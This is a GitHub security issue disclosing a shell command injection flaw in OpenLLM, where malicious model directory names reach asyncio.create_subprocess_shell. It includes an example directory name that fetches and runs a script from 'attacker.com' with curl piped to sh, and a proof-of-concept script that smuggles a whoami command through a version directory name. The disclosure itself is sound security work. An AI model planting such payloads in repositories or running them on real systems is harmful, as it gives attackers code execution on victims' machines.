Skip to content

[Security] Shell command injection via malicious model repository directory names #1229

Description

@geo-chen

Describe the bug

Summary

OpenLLM uses asyncio.create_subprocess_shell to launch model servers, constructing the shell command by joining a Python list into a single string with ' '.join(...). Model version and name identifiers are taken directly from directory names in a cloned model repository without any sanitization. An attacker who controls a model repository can name a directory to contain shell metacharacters (for example ;, $(), `), causing arbitrary commands to execute on the victim's machine when the victim runs openllm run or openllm serve using the attacker-controlled repository.

Details

The root cause is in src/openllm/common.py at the async_run_command function (lines 425-431):

proc = await asyncio.create_subprocess_shell(
    ' '.join(map(str, cmd)),
    stdout=asyncio.subprocess.PIPE,
    stderr=asyncio.subprocess.PIPE,
    cwd=cwd,
    env=env,
)

The cmd list is joined into a single string and handed to a shell interpreter. Any shell metacharacters present in the joined string are evaluated by the shell.

The cmd list is built in src/openllm/local.py at _get_serve_cmd (lines 31-44):

def _get_serve_cmd(bento, port=3000, cli_args=None):
    cmd = ['bentoml', 'serve', bento.bentoml_tag]
    if port != 3000:
        cmd += ['--port', str(port)]
    if cli_args:
        for arg in cli_args:
            cmd += ['--arg', arg]
    return cmd, EnvVars(...)

bento.bentoml_tag is defined in src/openllm/common.py (line 179):

@property
def bentoml_tag(self) -> str:
    return f'{self.path.parent.name}:{self.path.name}'

self.path is a pathlib.Path pointing to the directory of the model version inside the cloned repository. self.path.parent.name is the model name directory and self.path.name is the version directory. Neither is sanitized or quoted before being inserted into the list that is subsequently joined for the shell.

The contrast with safe usage is visible in the same function: the shlex.quote call at line 405 is used only for cosmetic display output, not for the actual subprocess invocation:

output(f'$ export {k}={shlex.quote(v)}', style='orange')  # display only -- not the real command

The synchronous run_command function (also in common.py) uses subprocess.run(cmd, ...) with a list (no shell=True), so it is not vulnerable. Only async_run_command, called exclusively from the openllm run path, is affected.

To reproduce

Attack path

  1. Attacker publishes a public git repository (as required by OpenLLM's documented custom repo feature) containing a model directory named with shell metacharacters, for example: bentoml/bentos/evilmodel/1.0;curl${IFS}attacker.com/shell.sh|sh;echo/bento.yaml.
  2. Victim adds the repository: openllm repo add attacker https://github.com/attacker/evil-models
  3. OpenLLM clones the repository.
  4. Victim runs: openllm run evilmodel
  5. list_bento discovers the directory and constructs a BentoInfo with the malicious directory name as the version component of bentoml_tag.
  6. _run_model calls async_run_command with a cmd list containing evilmodel:1.0;curl${IFS}attacker.com/shell.sh|sh;echo.
  7. ' '.join(cmd) produces a shell string with an embedded ;, splitting into multiple shell commands.
  8. The shell executes the attacker's payload.

Note: because filesystem path components cannot contain /, payloads using absolute paths must be constructed using shell variables ($HOME, $PWD) or indirect redirection. The proof-of-concept uses a relative path and a double-semicolon terminator to isolate the injected command from trailing arguments appended by OpenLLM.

PoC

Prerequisites: a Linux or macOS machine with OpenLLM installed, Python 3.9+.

Step 1. Create the malicious repository structure locally (in a real attack this would be a hosted git repo):

import os

REPO_PATH = '/tmp/evil_openllm_repo'
malicious_version = '1.0;whoami>pwned;echo'
version_dir = os.path.join(REPO_PATH, 'bentoml', 'bentos', 'evilmodel', malicious_version)
os.makedirs(version_dir, exist_ok=True)

bento_yaml = (
    'name: evilmodel\n'
    'version: "1.0"\n'
    'labels:\n  platforms: linux\n'
    'envs: []\n'
    'services:\n  - name: svc\n    config:\n      resources:\n        gpu: 0\n        gpu_type: ""\n'
    'schema:\n  routes: []\n'
    'image:\n  python_version: "3.12"\n'
)
with open(os.path.join(version_dir, 'bento.yaml'), 'w') as f:
    f.write(bento_yaml)

req_dir = os.path.join(version_dir, 'env', 'python')
os.makedirs(req_dir, exist_ok=True)
with open(os.path.join(req_dir, 'requirements.txt'), 'w') as f:
    f.write('')

Step 2. Run openllm using the malicious repository (OPENLLM_TEST_REPO simulates openllm repo add; a real attack uses the normal add+update workflow):

rm -f pwned
cd /tmp
OPENLLM_TEST_REPO=/tmp/evil_openllm_repo openllm run evilmodel

Step 3. Observe that id ran and wrote to disk:

$ cat /tmp/pwned
mrrobot

Expected output from the OpenLLM CLI confirming the injected tag is executed as a shell command:

Found model evilmodel:1.0;whoami>pwned;echo
$ bentoml serve evilmodel:1.0;whoami>pwned;echo --port 33462
Model server started 550043

Live-validated on commit ec2355c, Python 3.12.3, Ubuntu 24.04.

Logs

Environment

Affected Versions: all versions through commit ec2355c (latest main as of 2026-06-02)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-78 -- Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

System information (Optional)

As disclosed via email previously (no acknowledgement received)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions